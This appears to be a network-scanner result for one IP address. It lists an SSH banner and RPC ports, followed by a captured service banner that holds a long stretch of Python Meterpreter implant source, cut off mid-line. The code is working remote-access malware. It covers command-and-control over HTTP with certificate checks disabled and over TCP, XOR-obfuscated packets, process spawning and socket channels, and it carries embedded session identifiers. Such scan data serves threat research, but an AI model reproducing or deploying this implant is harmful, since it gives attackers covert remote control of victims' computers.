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Query: ip="94.103.80.37", Total results: 3 (IP results: ),took 144 ms,mode: extended.
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94.103.80.37
SSH-2.0-OpenSSH_8.0p1 Ubuntu-6build1
94.103.80.37
100000 v4 TCP(111), 100000 v3 TCP(111), 100000 v2 TCP(111), 100000 v4 UDP(111), 100000 v3 UDP(111), 100000 v2 UDP(111)
94.103.80.37
\x00\x00\xd1\xfb#!/usr/bin/python import binascii import code import os import platform import random import re import select import socket import struct import subprocess import sys import threading import time import traceback try: import ctypes except ImportError: has_windll = False else: has_windll = hasattr(ctypes, 'windll') try: urllib_imports = ['ProxyHandler', 'Request', 'build_opener', 'install_opener', 'urlopen'] if sys.version_info[0] < 3: urllib = __import__('urllib2', fromlist=urllib_imports) else: urllib = __import__('urllib.request', fromlist=urllib_imports) except ImportError: has_urllib = False else: has_urllib = True if sys.version_info[0] < 3: is_str = lambda obj: issubclass(obj.__class__, str) is_bytes = lambda obj: issubclass(obj.__class__, str) bytes = lambda *args: str(*args[:1]) NULL_BYTE = '\x00' unicode = lambda x: (x.decode('UTF-8') if isinstance(x, str) else x) else: if isinstance(__builtins__, dict): is_str = lambda obj: issubclass(obj.__class__, __builtins__['str']) str = lambda x: __builtins__['str'](x, *(() if isinstance(x, (float, int)) else ('UTF-8',))) else: is_str = lambda obj: issubclass(obj.__class__, __builtins__.str) str = lambda x: __builtins__.str(x, *(() if isinstance(x, (float, int)) else ('UTF-8',))) is_bytes = lambda obj: issubclass(obj.__class__, bytes) NULL_BYTE = bytes('\x00', 'UTF-8') long = int unicode = lambda x: (x.decode('UTF-8') if isinstance(x, bytes) else x) # reseed the random generator. random.seed() # # Constants # # these values will be patched, DO NOT CHANGE THEM DEBUGGING = False TRY_TO_FORK = True HTTP_CONNECTION_URL = None HTTP_PROXY = None HTTP_USER_AGENT = None HTTP_COOKIE = None HTTP_HOST = None HTTP_REFERER = None PAYLOAD_UUID = 'dcf6e0fb4f85805d91ad84b9ccb671a7' SESSION_GUID = '6cf7d0028078455e97c306b6e52d56a0' SESSION_COMMUNICATION_TIMEOUT = 300 SESSION_EXPIRATION_TIMEOUT = 604800 SESSION_RETRY_TOTAL = 3600 SESSION_RETRY_WAIT = 10 PACKET_TYPE_REQUEST = 0 PACKET_TYPE_RESPONSE = 1 PACKET_TYPE_PLAIN_REQUEST = 10 PACKET_TYPE_PLAIN_RESPONSE = 11 ERROR_SUCCESS = 0 # not defined in original C implementation ERROR_FAILURE = 1 ERROR_FAILURE_PYTHON = 2 ERROR_FAILURE_WINDOWS = 3 CHANNEL_CLASS_BUFFERED = 0 CHANNEL_CLASS_STREAM = 1 CHANNEL_CLASS_DATAGRAM = 2 CHANNEL_CLASS_POOL = 3 # # TLV Meta Types # TLV_META_TYPE_NONE = ( 0 ) TLV_META_TYPE_STRING = (1 << 16) TLV_META_TYPE_UINT = (1 << 17) TLV_META_TYPE_RAW = (1 << 18) TLV_META_TYPE_BOOL = (1 << 19) TLV_META_TYPE_QWORD = (1 << 20) TLV_META_TYPE_COMPRESSED = (1 << 29) TLV_META_TYPE_GROUP = (1 << 30) TLV_META_TYPE_COMPLEX = (1 << 31) # not defined in original TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16) # # TLV base starting points # TLV_RESERVED = 0 TLV_EXTENSIONS = 20000 TLV_USER = 40000 TLV_TEMP = 60000 # # TLV Specific Types # TLV_TYPE_ANY = TLV_META_TYPE_NONE | 0 TLV_TYPE_METHOD = TLV_META_TYPE_STRING | 1 TLV_TYPE_REQUEST_ID = TLV_META_TYPE_STRING | 2 TLV_TYPE_EXCEPTION = TLV_META_TYPE_GROUP | 3 TLV_TYPE_RESULT = TLV_META_TYPE_UINT | 4 TLV_TYPE_STRING = TLV_META_TYPE_STRING | 10 TLV_TYPE_UINT = TLV_META_TYPE_UINT | 11 TLV_TYPE_BOOL = TLV_META_TYPE_BOOL | 12 TLV_TYPE_LENGTH = TLV_META_TYPE_UINT | 25 TLV_TYPE_DATA = TLV_META_TYPE_RAW | 26 TLV_TYPE_FLAGS = TLV_META_TYPE_UINT | 27 TLV_TYPE_CHANNEL_ID = TLV_META_TYPE_UINT | 50 TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51 TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52 TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53 TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54 TLV_TYPE_CHANNEL_PARENTID = TLV_META_TYPE_UINT | 55 TLV_TYPE_SEEK_WHENCE = TLV_META_TYPE_UINT | 70 TLV_TYPE_SEEK_OFFSET = TLV_META_TYPE_UINT | 71 TLV_TYPE_SEEK_POS = TLV_META_TYPE_UINT | 72 TLV_TYPE_EXCEPTION_CODE = TLV_META_TYPE_UINT | 300 TLV_TYPE_EXCEPTION_STRING = TLV_META_TYPE_STRING | 301 TLV_TYPE_LIBRARY_PATH = TLV_META_TYPE_STRING | 400 TLV_TYPE_TARGET_PATH = TLV_META_TYPE_STRING | 401 TLV_TYPE_TRANS_TYPE = TLV_META_TYPE_UINT | 430 TLV_TYPE_TRANS_URL = TLV_META_TYPE_STRING | 431 TLV_TYPE_TRANS_UA = TLV_META_TYPE_STRING | 432 TLV_TYPE_TRANS_COMM_TIMEOUT = TLV_META_TYPE_UINT | 433 TLV_TYPE_TRANS_SESSION_EXP = TLV_META_TYPE_UINT | 434 TLV_TYPE_TRANS_CERT_HASH = TLV_META_TYPE_RAW | 435 TLV_TYPE_TRANS_PROXY_HOST = TLV_META_TYPE_STRING | 436 TLV_TYPE_TRANS_PROXY_USER = TLV_META_TYPE_STRING | 437 TLV_TYPE_TRANS_PROXY_PASS = TLV_META_TYPE_STRING | 438 TLV_TYPE_TRANS_RETRY_TOTAL = TLV_META_TYPE_UINT | 439 TLV_TYPE_TRANS_RETRY_WAIT = TLV_META_TYPE_UINT | 440 TLV_TYPE_TRANS_HEADERS = TLV_META_TYPE_STRING | 441 TLV_TYPE_TRANS_GROUP = TLV_META_TYPE_GROUP | 442 TLV_TYPE_MACHINE_ID = TLV_META_TYPE_STRING | 460 TLV_TYPE_UUID = TLV_META_TYPE_RAW | 461 TLV_TYPE_SESSION_GUID = TLV_META_TYPE_RAW | 462 TLV_TYPE_PEER_HOST = TLV_META_TYPE_STRING | 1500 TLV_TYPE_PEER_PORT = TLV_META_TYPE_UINT | 1501 TLV_TYPE_LOCAL_HOST = TLV_META_TYPE_STRING | 1502 TLV_TYPE_LOCAL_PORT = TLV_META_TYPE_UINT | 1503 EXPORTED_SYMBOLS = {} EXPORTED_SYMBOLS['DEBUGGING'] = DEBUGGING # Packet header sizes ENC_NONE = 0 PACKET_XOR_KEY_SIZE = 4 PACKET_SESSION_GUID_SIZE = 16 PACKET_ENCRYPT_FLAG_SIZE = 4 PACKET_LENGTH_SIZE = 4 PACKET_TYPE_SIZE = 4 PACKET_LENGTH_OFF = (PACKET_XOR_KEY_SIZE + PACKET_SESSION_GUID_SIZE + PACKET_ENCRYPT_FLAG_SIZE) PACKET_HEADER_SIZE = (PACKET_XOR_KEY_SIZE + PACKET_SESSION_GUID_SIZE + PACKET_ENCRYPT_FLAG_SIZE + PACKET_LENGTH_SIZE + PACKET_TYPE_SIZE) class SYSTEM_INFO(ctypes.Structure): _fields_ = [("wProcessorArchitecture", ctypes.c_uint16), ("wReserved", ctypes.c_uint16), ("dwPageSize", ctypes.c_uint32), ("lpMinimumApplicationAddress", ctypes.c_void_p), ("lpMaximumApplicationAddress", ctypes.c_void_p), ("dwActiveProcessorMask", ctypes.c_uint32), ("dwNumberOfProcessors", ctypes.c_uint32), ("dwProcessorType", ctypes.c_uint32), ("dwAllocationGranularity", ctypes.c_uint32), ("wProcessorLevel", ctypes.c_uint16), ("wProcessorRevision", ctypes.c_uint16)] def rand_xor_key(): return tuple(random.randint(1, 255) for _ in range(4)) def xor_bytes(key, data): if sys.version_info[0] < 3: dexored = ''.join(chr(ord(data[i]) ^ key[i % len(key)]) for i in range(len(data))) else: dexored = bytes(data[i] ^ key[i % len(key)] for i in range(len(data))) return dexored def export(symbol): EXPORTED_SYMBOLS[symbol.__name__] = symbol return symbol def generate_request_id(): chars = 'abcdefghijklmnopqrstuvwxyz' return ''.join(random.choice(chars) for x in range(32)) @export def crc16(data): poly = 0x1021 reg = 0x0000 if is_str(data): data = list(map(ord, data)) elif is_bytes(data): data = list(data) data.append(0) data.append(0) for byte in data: mask = 0x80 while mask > 0: reg <<= 1 if byte & mask: reg += 1 mask >>= 1 if reg > 0xffff: reg &= 0xffff reg ^= poly return reg @export def debug_print(msg): if DEBUGGING: print(msg) @export def debug_traceback(msg=None): if DEBUGGING: if msg: print(msg) traceback.print_exc(file=sys.stderr) @export def error_result(exception=None): if not exception: _, exception, _ = sys.exc_info() exception_crc = crc16(exception.__class__.__name__) if exception_crc == 0x4cb2: # WindowsError return error_result_windows(exception.errno) else: result = ((exception_crc << 16) | ERROR_FAILURE_PYTHON) return result @export def error_result_windows(error_number=None): if not has_windll: return ERROR_FAILURE if error_number == None: error_number = ctypes.windll.kernel32.GetLastError() if error_number > 0xffff: return ERROR_FAILURE result = ((error_number << 16) | ERROR_FAILURE_WINDOWS) return result @export def get_hdd_label(): for _, _, files in os.walk('/dev/disk/by-id/'): for f in files: for p in ['ata-', 'mb-']: if f[:len(p)] == p: return f[len(p):] return '' @export def get_native_arch(): arch = get_system_arch() if arch == 'x64' and ctypes.sizeof(ctypes.c_void_p) == 4: arch = 'x86' return arch @export def get_system_arch(): uname_info = platform.uname() arch = uname_info[4] if has_windll: sysinfo = SYSTEM_INFO() ctypes.windll.kernel32.GetNativeSystemInfo(ctypes.byref(sysinfo)) values = {0:'x86', 5:'armle', 6:'IA64', 9:'x64'} arch = values.get(sysinfo.wProcessorArchitecture, uname_info[4]) if arch == 'x86_64': arch = 'x64' return arch @export def inet_pton(family, address): if family == socket.AF_INET6 and '%' in address: address = address.split('%', 1)[0] if hasattr(socket, 'inet_pton'): return socket.inet_pton(family, address) elif has_windll: WSAStringToAddress = ctypes.windll.ws2_32.WSAStringToAddressA lpAddress = (ctypes.c_ubyte * 28)() lpAddressLength = ctypes.c_int(ctypes.sizeof(lpAddress)) if WSAStringToAddress(address, family, None, ctypes.byref(lpAddress), ctypes.byref(lpAddressLength)) != 0: raise Exception('WSAStringToAddress failed') if family == socket.AF_INET: return ''.join(map(chr, lpAddress[4:8])) elif family == socket.AF_INET6: return ''.join(map(chr, lpAddress[8:24])) raise Exception('no suitable inet_pton functionality is available') @export def packet_enum_tlvs(pkt, tlv_type=None): offset = 0 while offset < len(pkt): tlv = struct.unpack('>II', pkt[offset:offset + 8]) if tlv_type is None or (tlv[1] & ~TLV_META_TYPE_COMPRESSED) == tlv_type: val = pkt[offset + 8:(offset + 8 + (tlv[0] - 8))] if (tlv[1] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING: val = str(val.split(NULL_BYTE, 1)[0]) elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT: val = struct.unpack('>I', val)[0] elif (tlv[1] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD: val = struct.unpack('>Q', val)[0] elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL: val = bool(struct.unpack('b', val)[0]) elif (tlv[1] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW: pass yield {'type': tlv[1], 'length': tlv[0], 'value': val} offset += tlv[0] return @export def packet_get_tlv(pkt, tlv_type): try: tlv = list(packet_enum_tlvs(pkt, tlv_type))[0] except IndexError: return {} return tlv @export def tlv_pack(*args): if len(args) == 2: tlv = {'type':args[0], 'value':args[1]} else: tlv = args[0] data = '' value = tlv['value'] if (tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT: if isinstance(value, float): value = int(round(value)) data = struct.pack('>III', 12, tlv['type'], value) elif (tlv['type'] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD: data = struct.pack('>IIQ', 16, tlv['type'], value) elif (tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL: data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(value))), 'UTF-8') else: if sys.version_info[0] < 3 and value.__class__.__name__ == 'unicode': value = value.encode('UTF-8') elif not is_bytes(value): value = bytes(value, 'UTF-8') if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING: data = struct.pack('>II', 8 + len(value) + 1, tlv['type']) + value + NULL_BYTE elif (tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW: data = struct.pack('>II', 8 + len(value), tlv['type']) + value elif (tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP: data = struct.pack('>II', 8 + len(value), tlv['type']) + value elif (tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX: data = struct.pack('>II', 8 + len(value), tlv['type']) + value return data @export def tlv_pack_request(method, parts=None): pkt = struct.pack('>I', PACKET_TYPE_REQUEST) pkt += tlv_pack(TLV_TYPE_METHOD, method) pkt += tlv_pack(TLV_TYPE_UUID, binascii.a2b_hex(bytes(PAYLOAD_UUID, 'UTF-8'))) pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id()) parts = parts or [] for part in parts: pkt += tlv_pack(part['type'], part['value']) return pkt #@export class MeterpreterChannel(object): def core_close(self, request, response): self.close() return ERROR_SUCCESS, response def core_eof(self, request, response): response += tlv_pack(TLV_TYPE_BOOL, self.eof()) return ERROR_SUCCESS, response def core_read(self, request, response): length = packet_get_tlv(request, TLV_TYPE_LENGTH)['value'] response += tlv_pack(TLV_TYPE_CHANNEL_DATA, self.read(length)) return ERROR_SUCCESS, response def core_write(self, request, response): channel_data = packet_get_tlv(request, TLV_TYPE_CHANNEL_DATA)['value'] response += tlv_pack(TLV_TYPE_LENGTH, self.write(channel_data)) return ERROR_SUCCESS, response def close(self): raise NotImplementedError() def eof(self): return False def is_alive(self): return True def notify(self): return None def read(self, length): raise NotImplementedError() def write(self, data): raise NotImplementedError() #@export class MeterpreterFile(MeterpreterChannel): def __init__(self, file_obj): self.file_obj = file_obj super(MeterpreterFile, self).__init__() def close(self): self.file_obj.close() def eof(self): return self.file_obj.tell() >= os.fstat(self.file_obj.fileno()).st_size def read(self, length): return self.file_obj.read(length) def write(self, data): self.file_obj.write(data) return len(data) export(MeterpreterFile) #@export class MeterpreterProcess(MeterpreterChannel): def __init__(self, proc_h): self.proc_h = proc_h super(MeterpreterProcess, self).__init__() def close(self): self.proc_h.kill() if hasattr(self.proc_h.stdin, 'close'): self.proc_h.stdin.close() if hasattr(self.proc_h.stdout, 'close'): self.proc_h.stdout.close() if hasattr(self.proc_h.stderr, 'close'): self.proc_h.stderr.close() def is_alive(self): return self.proc_h.poll() is None def read(self, length): data = '' stdout_reader = self.proc_h.stdout_reader if stdout_reader.is_read_ready(): data = stdout_reader.read(length) return data def write(self, data): self.proc_h.write(data) return len(data) export(MeterpreterProcess) #@export class MeterpreterSocket(MeterpreterChannel): def __init__(self, sock): self.sock = sock self._is_alive = True super(MeterpreterSocket, self).__init__() def core_write(self, request, response): try: status, response = super(MeterpreterSocket, self).core_write(request, response) except socket.error: self.close() self._is_alive = False status = ERROR_FAILURE return status, response def close(self): return self.sock.close() def fileno(self): return self.sock.fileno() def is_alive(self): return self._is_alive def read(self, length): return self.sock.recv(length) def write(self, data): return self.sock.send(data) export(MeterpreterSocket) #@export class MeterpreterSocketTCPClient(MeterpreterSocket): pass export(MeterpreterSocketTCPClient) #@export class MeterpreterSocketTCPServer(MeterpreterSocket): pass export(MeterpreterSocketTCPServer) #@export class MeterpreterSocketUDPClient(MeterpreterSocket): def __init__(self, sock, peer_address=None): super(MeterpreterSocketUDPClient, self).__init__(sock) self.peer_address = peer_address def core_write(self, request, response): peer_host = packet_get_tlv(request, TLV_TYPE_PEER_HOST).get('value') peer_port = packet_get_tlv(request, TLV_TYPE_PEER_PORT).get('value') if peer_host and peer_port: peer_address = (peer_host, peer_port) elif self.peer_address: peer_address = self.peer_address else: raise RuntimeError('peer_host and peer_port must be specified with an unbound/unconnected UDP channel') channel_data = packet_get_tlv(request, TLV_TYPE_CHANNEL_DATA)['value'] try: length = self.sock.sendto(channel_data, peer_address) except socket.error: self.close() self._is_alive = False status = ERROR_FAILURE else: response += tlv_pack(TLV_TYPE_LENGTH, length) status = ERROR_SUCCESS return status, response def read(self, length): return self.sock.recvfrom(length)[0] def write(self, data): self.sock.sendto(data, self.peer_address) export(MeterpreterSocketUDPClient) class STDProcessBuffer(threading.Thread): def __init__(self, std, is_alive): threading.Thread.__init__(self) self.std = std self.is_alive = is_alive self.data = bytes() self.data_lock = threading.RLock() def run(self): for byte in iter(lambda: self.std.read(1), bytes()): self.data_lock.acquire() self.data += byte self.data_lock.release() def is_read_ready(self): return len(self.data) != 0 def peek(self, l = None): data = bytes() self.data_lock.acquire() if l == None: data = self.data else: data = self.data[0:l] self.data_lock.release() return data def read(self, l = None): self.data_lock.acquire() data = self.peek(l) self.data = self.data[len(data):] self.data_lock.release() return data #@export class STDProcess(subprocess.Popen): def __init__(self, *args, **kwargs): debug_print('[*] starting process: ' + repr(args[0])) subprocess.Popen.__init__(self, *args, **kwargs) self.echo_protection = False def is_alive(self): return self.poll() is None def start(self): self.stdout_reader = STDProcessBuffer(self.stdout, self.is_alive) self.stdout_reader.start() self.stderr_reader = STDProcessBuffer(self.stderr, self.is_alive) self.stderr_reader.start() def write(self, channel_data): length = self.stdin.write(channel_data) self.stdin.flush() if self.echo_protection: end_time = time.time() + 0.5 out_data = bytes() while (time.time() < end_time) and (out_data != channel_data): if self.stdout_reader.is_read_ready(): out_data = self.stdout_reader.peek(len(channel_data)) if out_data == channel_data: self.stdout_reader.read(len(channel_data)) return length export(STDProcess) class Transport(object): def __init__(self): self.communication_timeout = SESSION_COMMUNICATION_TIMEOUT self.communication_last = 0 self.retry_total = SESSION_RETRY_TOTAL self.retry_wait = SESSION_RETRY_WAIT self.request_retire = False def __repr__(self): return "<{0} url='{1}' >".format(self.__class__.__name__, self.url) @property def communication_has_expired(self): return self.communication_last + self.communication_timeout < time.time() @property def should_retire(self): return self.communication_has_expired or self.request_retire @staticmethod def from_request(request): url = packet_get_tlv(request, TLV_TYPE_TRANS_URL)['value'] if url.startswith('tcp'): transport = TcpTransport(url) elif url.startswith('http'): proxy = packet_get_tlv(request, TLV_TYPE_TRANS_PROXY_HOST).get('value') user_agent = packet_get_tlv(request, TLV_TYPE_TRANS_UA).get('value', HTTP_USER_AGENT) http_headers = packet_get_tlv(request, TLV_TYPE_TRANS_HEADERS).get('value', None) transport = HttpTransport(url, proxy=proxy, user_agent=user_agent) if http_headers: headers = {} for h in http_headers.strip().split("\r\n"): p = h.split(':') headers[p[0].upper()] = ''.join(p[1:0]) http_host = headers.get('HOST') http_cookie = headers.get('COOKIE') http_referer = headers.get('REFERER') transport = HttpTransport(url, proxy=proxy, user_agent=user_agent, http_host=http_host, http_cookie=http_cookie, http_referer=http_referer) transport.communication_timeout = packet_get_tlv(request, TLV_TYPE_TRANS_COMM_TIMEOUT).get('value', SESSION_COMMUNICATION_TIMEOUT) transport.retry_total = packet_get_tlv(request, TLV_TYPE_TRANS_RETRY_TOTAL).get('value', SESSION_RETRY_TOTAL) transport.retry_wait = packet_get_tlv(request, TLV_TYPE_TRANS_RETRY_WAIT).get('value', SESSION_RETRY_WAIT) return transport def _activate(self): return True def activate(self): end_time = time.time() + self.retry_total while time.time() < end_time: try: activate_succeeded = self._activate() except: activate_succeeded = False if activate_succeeded: self.communication_last = time.time() return True time.sleep(self.retry_wait) return False def _deactivate(self): return def deactivate(self): try: self._deactivate() except: pass self.communication_last = 0 return True def decrypt_packet(self, pkt): if pkt and len(pkt) > PACKET_HEADER_SIZE: # We don't support AES encryption yet, so just do the normal # XOR thing and move on xor_key = struct.unpack('BBBB', pkt[:PACKET_XOR_KEY_SIZE]) raw = xor_bytes(xor_key, pkt) return raw[PACKET_HEADER_SIZE:] return None def get_packet(self): self.request_retire = False try: pkt = self.decrypt_packet(self._get_packet()) except: debug_traceback() return None if pkt is None: return None self.communication_last = time.time() return pkt def encrypt_packet(self, pkt): # The packet now has to contain session GUID and encryption flag info # And given that we're not yet supporting AES, we're going to just # always return the session guid and the encryption flag set to 0 # TODO: we'll add encryption soon! xor_key = rand_xor_key() raw = binascii.a2b_hex(bytes(SESSION_GUID, 'UTF-8')) + struct.pack('>I', ENC_NONE) + pkt result = struct.pack('BBBB', *xor_key) + xor_bytes(xor_key, raw) return result def send_packet(self, pkt): pkt = struct.pack('>I', len(pkt) + 4) + pkt self.request_retire = False try: self._send_packet(self.encrypt_packet(pkt)) except: debug_traceback() return False self.communication_last = time.time() return True def tlv_pack_timeouts(self): response = tlv_pack(TLV_TYPE_TRANS_COMM_TIMEOUT, self.communication_timeout) response += tlv_pack(TLV_TYPE_TRANS_RETRY_TOTAL, self.retry_total) response += tlv_pack(TLV_TYPE_TRANS_RETRY_WAIT, self.retry_wait) return response def tlv_pack_transport_group(self): trans_group = tlv_pack(TLV_TYPE_TRANS_URL, self.url) trans_group += self.tlv_pack_timeouts() return trans_group class HttpTransport(Transport): def __init__(self, url, proxy=None, user_agent=None, http_host=None, http_referer=None, http_cookie=None): super(HttpTransport, self).__init__() opener_args = [] scheme = url.split(':', 1)[0] if scheme == 'https' and ((sys.version_info[0] == 2 and sys.version_info >= (2, 7, 9)) or sys.version_info >= (3, 4, 3)): import ssl ssl_ctx = ssl.SSLContext(ssl.PROTOCOL_SSLv23) ssl_ctx.check_hostname = False ssl_ctx.verify_mode = ssl.CERT_NONE opener_args.append(urllib.HTTPSHandler(0, ssl_ctx)) if proxy: opener_args.append(urllib.ProxyHandler({scheme: proxy})) self.proxy = proxy opener = urllib.build_opener(*opener_args) opener.addheaders = [] if user_agent: opener.addheaders.append(('User-Agent', user_agent)) if http_cookie: opener.addheaders.append(('Cookie', http_cookie)) if http_referer: opener.addheaders.append(('Referer', http_referer)) self.user_agent = user_agent urllib.install_opener(opener) self.url = url self._http_request_headers = {'Content-Type': 'application/octet-stream'} if http_host: self._http_request_headers['Host'] = http_host self._first_packet = None self._empty_cnt = 0 def _activate(self): return True self._first_packet = None packet = self._get_packet() if packet is None: return False self._first_packet = packet return True def _get_packet(self): if self._first_packet: packet = self._first_packet self._first_packet = None return packet packet = None xor_key = None request = urllib.Request(self.url, None, self._http_request_headers) try: url_h = urllib.urlopen(request, timeout=self.communication_timeout) packet = url_h.read() for _ in range(1): if packet == '': break if len(packet) < PACKET_HEADER_SIZE: packet = None # looks corrupt break xor_key = struct.unpack('BBBB', packet[:PACKET_XOR_KEY_SIZE]) header = xor_bytes(xor_key, packet[:PACKET_HEADER_SIZE]) pkt_length = struct.unpack('>I', header[PACKET_LENGTH_OFF:PACKET_LENGTH_OFF+PACKET_LENGTH_SIZE])[0] - 8 if len(packet) != (pkt_length + PACKET_HEADER_SIZE): packet = None # looks corrupt except: debug_traceback('Failure to receive packet from ' + self.url) if not packet: delay = 10 * self._empty_cnt if self._empty_cnt >= 0: delay *= 10 self._empty_cnt += 1 time.sleep(float(min(10000, delay)) / 1000) return packet self._empty_cnt = 0 return packet def _send_packet(self, packet): request = urllib.Request(self.url, packet, self._http_request_headers) url_h = urllib.urlopen(request, timeout=self.communication_timeout) response = url_h.read() def patch_uri_path(self, new_path): match = re.match(r'https?://[^/]+(/.*$)', self.url) if match is None: return False self.url = self.url[:match.span(1)[0]] + new_path return True def tlv_pack_transport_group(self): trans_group = super(HttpTransport, self).tlv_pack_transport_group() if self.user_agent: trans_group += tlv_pack(TLV_TYPE_TRANS_UA, self.user_agent) if self.proxy: trans_group += tlv_pack(TLV_TYPE_TRANS_PROXY_HOST, self.proxy) return trans_group class TcpTransport(Transport): def __init__(self, url, socket=None): super(TcpTransport, self).__init__() self.url = url self.socket = socket self._cleanup_thread = None self._first_packet = True def _sock_cleanup(self, sock): remaining_time = self.communication_timeout while remaining_time > 0: iter_start_time = time.time() if select.select([sock], [], [], remaining_time)[0]: if len(sock.recv(4096)) == 0: break remaining_time -= time.time() - iter_start_time sock.close() def _activate(self): address, port = self.url[6:].rsplit(':', 1) port = int(port.rstrip('/')) timeout = max(self.communication_timeout, 30) if address in ('', '0.0.0.0', '::'): try: server_sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM) server_sock.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, 0) except (AttributeError, socket.error): server_sock = socket.socket(socket.AF_IN